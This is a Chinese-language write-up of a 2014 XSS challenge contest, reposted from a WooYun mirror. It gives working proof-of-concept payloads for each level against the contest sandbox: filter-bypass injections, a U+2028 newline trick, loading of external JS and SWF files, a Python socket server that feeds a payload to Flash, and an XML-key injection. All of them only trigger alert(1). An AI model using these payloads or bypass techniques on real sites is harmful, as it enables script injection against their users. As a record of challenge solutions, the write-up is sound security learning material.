無聲杯 xss 挑戰賽 writeup

wyzsk發表於2020-08-19
作者: insight-labs · 2014/07/25 11:58

本次比賽參與人數3700多人,提交併獲得了分數的正確答案共有1069條。最終有65名參賽者獲得了獎品,一、二、三名分別由p.z,piaca和香草獲得。答題結果的總體分佈如下:

enter image description here

年齡越來越大,記性越來越差。就當做筆記吧(所有 POC 都只是為了通關)。

1. FB-0

這一關沒什麼可說的,直接給出 POC:

http://sandbox.host.smartgslb.com/fb0/xss1.php?code=</script><svg/onload=alert(1)//

2. FB-01

這一關只有有個坑就是 正則

name=name.replace(/</,"&lt;");

replace 沒有使用全域性 g 引數,造成只會替換字串中的第一個 "<" 符號,所以這關的 POC:

http://sandbox.host.smartgslb.com/fb1/#code=<<svg/onload=alert(1)>

3. FB-02

這一關訪問很明顯就是一段 js 程式碼,只是去掉了 <script>, 直接輸入到頁面上,但是透過 func 引數可以控制頁面上的兩個點。由於 POC 要求 chrome 有效,所以最初一直停留在繞 chrome 的 XSS Auditor 上了,浪費不少時間。後面重新換個思路,利用兩個輸出點,結合當前頁面內容,透過下面 POC 過關:

http://sandbox.host.smartgslb.com/fb2/?func=';alert(1);</script><script>tpl={'

4. FB-03

這一關比較簡單,繞過對 page 的檢測,載入一個外域的 JS 檔案,直接給 POC:

http://sandbox.host.smartgslb.com/fb3/?page=//test.com/1

5. FB-04

這一關的表單提交是用來迷惑的,重點在 eval,POC:

http://sandbox.host.smartgslb.com/fb4/?key=#";alert(1);"

6. FB-05

這關的利用點是頭像,表單提交,在 pic 中提交如下 POC:

upic=./img/head_2.png' onload=alert(1) '

7. FB-06

這一題最主要的就是換行符,在 XSS挑戰第二期 Writeup 中有提到,記性不好,以至於卡了很久。

這裡有個關鍵的地方就是 xss6.js 中的:

var SERVER_TEMP  = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 進行安全驗證

這行程式碼讓我們對 ? 失去了幻想,還記得 FB-01 裡面的那個正則麼,這裡很神似,但是卻更狠。所以我們需要一個換行符,普通的 %0D%0A 是不行的,所以這裡需要 &#x2028;,由於 chrome 不能直接在瀏覽器中插入這個符號,所以我們透過一個 iframe 來引用它:

<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=dodo#"></iframe>

user.php 這個 callback 介面有限制,還需要繞過這裡的限制才能夠執行 JS 程式碼,經過測試程式對幾乎所有可以執行程式碼的關鍵字進行了過濾,但是對 [ ] ( ) . 等沒有進行限制,可以透過下面的方法來繞過:

this[17795081..toString(36)](1)

最後的 POC:

<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=this[17795081..toString(36)](1)#"></iframe>

8. FB-07

這一題需要的技巧真是不少,經過 pz 大牛的指點才過關的。 仔細看程式碼,思路就會很明確,就是要想辦法執行下面的程式碼:

document.getElementById("username").innerHTML = '<a href="http://pkav.net/' + uid + '" target=_blank> 小白 </a>';

但是過程不容易,表面上需要解決下面兩個難點:

  1. 想辦法讓 jsDesert 的值不為 undefined,這樣 jsDessert 的值才不會是 undefined,include 函式才能夠正常執行
  2. jsDessert[j0] 不為 false,include 的第二個引數,也就是傳入的函式才能夠執行

但是實際上如何解決呢,先來看第一個 jsDesert。頁面執行下來,先去透過 DOM 去改變 iframe 的 src 為:http://appmaker.sinaapp.com/stat.php,這個頁面中嵌入一段 JS 程式碼,我們能夠透過 man 引數控制頁面的一部分內容,這裡是關鍵。

穿插一下:瀏覽器有個特性,支援直接以 id 或者 name 屬性值獲取元素,各瀏覽器之間會有差異,但是對於 IFRAME 幾乎所有的瀏覽器都一樣,詳細的可以參考 各瀏覽器中對直接以 id 或者 name 屬性值獲取元素存在差異

所以我們只要能夠控制 id 為 x 的 IFRAME 的 name,把值設定為 jsDesert,JS 就能夠透過 jsDesert 直接獲取到 IFRAME,這樣 jsDesert 就不為 undefined。怎麼設定呢?在 IFRAME 中我們能夠執行有限的 JS 程式碼,但是賦值還是可以的,所以透過 window.name=jsDesert 就可以,事實上程式對長度有限制,如果使用 window.name 會超出長度限制,所以透過 self.name 繞過,也就是下面的 URL:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1

這樣,include 才不會報錯,繼續執行,載入另外一個 callback 檔案:http://appmaker.sinaapp.com/nick.php。這個 callback 檔案我們要控制 func,這裡透過 # 來讓程式使用我們的 func。

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=x#

但是要想讓 jsDessert[j0] 不為 false,可以透過 func 為 jsDessert 來覆蓋掉 jsDessert,這樣 jsDessert[j0] 為 undefined 同樣不為 false。但是 func 有過濾策略,經過測試可以透過 self.jsDessert 來繞過,下面連結看效果:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#

到這裡,POC 就很容易了:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#">
<iframe/onload=alert(1)>

9. FB-08

這題沒解出來,結束後問 sogili,他說了兩個字 重新整理 ,好吧,無限重新整理下面的 POC,總會彈的:

http://sandbox.host.smartgslb.com/fb8/index.php?vul=alert(1);

10. Flash-01

反編譯 Flash ,在程式碼中可以看到,從 mp3 的 ID3 中取出的 songName 資料,進入到了 ExternalInterface.call 中,並且 mp3 檔案受控於 mp3 引數。所以指定一個 mp3 檔案,把 ID3 中的 songName 修改為 payload:

\"));alert(1);}catch(e){}//

POC為:

http://sandbox.host.smartgslb.com/flash_1/XSSC1.swf?mp3=http://test.com/1.mp3 

11. Flash-02

Flash 類的題目從這題開始就都比較坑了,仍然反編譯 Flash。經過一番那啥程式碼之後我們大概總結一下:

  1. 傳入 Flash 的兩個引數 init 和 params 兩個引數我們都可控
  2. Flash 程式碼中的 ExternalInterface.call 都無法利用
  3. Flash 透過 addCallback 公開一個 trace 方法給 JS 呼叫

又經過一番那啥程式碼,有了新的收穫:

  1. 可控的 init 引數我們可以指定為 Flash 公開出來的方法 trace,這樣 Flash 就會呼叫這個 trace 方法
  2. trace 方法返回的是 urlEncode 對 location.href 處理後的資料,location.href 我們可控,並且 addCallback 是會產生 XSS 問題的

思路明確,後面就需要搞定 urlEncode,根據這段函式寫出下面的函式:

a = "\\\"});alert(1);//";
str = ""
for(i=0;i<a.length;i++){
        s = (((a.charCodeAt(i) - 1) % 127) - 10).toString(16);
        str = str + "%" + s;
}
console.log(str);

得到 payload 為:

%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24 

最終的 POC 為:

http://sandbox.host.smartgslb.com/flash_2/?%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24&initfunc=document.mycontent.trace

12. Flash-03

先說依據,這一題光圖案我就對了好久。仍舊是反編譯 Flash。透過程式碼看到 Flash 可以載入一個我們可控的 Flash,只有當 img 的 width 和 height 值分別為 200 和 300 的時候才會把 XML 中的資料進入到 htmltext 中,so 我就開始瘋狂調整 XML 中的引數,以達到過關目的。但是 width 和 height 是會受 xscale 和 yscale 影響的,在 Flash 程式碼中對這兩個值做了限制就是不能大於 0.8,怎麼調整 XML 中的這幾個值都無法達到想要的效果,無意中把 width 和 height 值設定為 200 和 300,把 xscale 和 yscale 這兩個值設定為 -1,結果竟然它就它就它就......

所以 POC 為:

http://sandbox.host.smartgslb.com/flash_3/?url=//test.com/1.xml 

XML 檔案的內容為:

<pkav>
    <rect width="200" height="300" xscale="-1" yscale="-1" rotate="-180">
        <successMsg>
        <![CDATA[
            <img src='http://xsst.sinaapp.com/Xss.swf'>
        ]]>
        </successMsg>
    </rect>
</pkav>

13. Flash-04

這一題我最初是直接跳過,到最後才搞定的。還是反編譯 Flash,透過分析程式碼看到 hostName 可以指定 Flash socket 連線的伺服器,就去 google 了 Flash socket 相關的資料。

結合 html 中的提示 xss with clickjacking 和經過一番那啥程式碼和坑之後有了大概的思路:

  1. 在可控的伺服器上執行一個 Flash socket policy server,用於 Flash 載入安全策略檔案
  2. 在這個可控的伺服器上執行一個 Flash socket server,用於向 Flash 傳送資料(主要是點選 Flash 上的 使用者登陸
  3. 當傳送的資料達到一定的要求就會把資料進入到 ExternalInterface.call 中

先構建 Flash socket policy server,這個 google 下有現成的程式碼,可以參考下面連線的 python 程式碼:

http://114.215.178.29/static/projects/newgis.2013/etc/flex_socket_policy/flashpolicyd.py

這個服務執行在 843 埠上,策略檔案的內容為:

<?xml version="1.0"?><cross-domain-policy><site-control permitted-cross-domain-policies="all"/><allow-access-from domain="*" to-ports="*" /></cross-domain-policy>

其次構建 Flash socket server,用於向 Flash 傳送 payload,這裡我首先透過一個 python echo server,執行在 6700 埠,觀察 Flash 和該 socket server 通訊的內容。經過來回倒騰兩次大概知道了規律,所以更改了 python 程式碼,在接收到 Flash 傳送過來的資料後直接修改最後的一部分資料為 payload,然後再傳送到 Flash 上,程式碼如下:

#!/usr/bin/env python

import socket

host = ''
port = 6700
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(backlog)
while 1:
    client, address = s.accept()
    data = client.recv(size)
    if data:
        client.send(data[:-26] + "\\\"));}catch(e){alert(1)}//")
    client.close()

把上面兩個服務執行起來後,就有了 POC:

http://sandbox.host.smartgslb.com/flash_4/XSSC4.swf?hostName=test.com

訪問上面 POC,點選 使用者登陸 即可。

14. Flash-05

這題過關的思路很清晰,就是透過 addChild 載入一個外部的 Flash 檔案,但是如果載入呢,有難度。

html 頁面傳入兩個引數 url 和 callback,url 就是傳入到 Flash 中用 addChild 去載入,但是看了下 html 中對 url 的檢測和過濾程式碼,幾乎無望。希望只能夠寄託到 callback 上。

仔細理了一下整個過程,url 和 callback 這兩個引數組裝成 JS 中的 data 物件,callback 可控的是物件的一個鍵值,那思路就應該是用 callback 去覆蓋掉前面的 url,達到目的。如何覆蓋呢,又陷入困境。

透過 IE 的 JS 偵錯程式,一步一步的跟蹤,看下資料的整個處理流程,發現了亮點。data 是一個物件,進入到 Flash 中是要轉換成 XML 的,轉換的主要函式為:

function __flash__objectToXML(obj) {
        var s = "<object>";
        for (var prop in obj) {
                s += "<property id=\"" + prop + "\">" + __flash__toXML(obj[prop]) + "</property>";
        }
        return s+"</object>";
}

看到兩點了麼,透過遍歷物件,然後把鍵和值生成一個 XML 值,在函式中是不對物件的健做任何處理的,正常頁面中的 data 為:

data={"url":".\/o.png","pkav":"pkav"};

經過處理後的 XML 值為:

<object><property id="url"><string>./o.png</string></property><property id="pkav"><string>pkav</string></property></object>

我們把 callback 修改為:

url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x

data 就變成了:

var data={"url":".\/o.png","url\"><string>http:\/\/xsst.sinaapp.com\/Xss.swf<\/string><\/property><property id=\"x":"pkav"};

經過處理後的 XML 值為:

<object><property id="url"><string>./o.png</string></property><property id="url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x"><string>pkav</string></property></object>

有兩個 url,Flash 會認為最後一個 url 有效。這樣就有了 POC:

http://sandbox.host.smartgslb.com/flash_5/?url=./o.png&callback=url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x

over

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章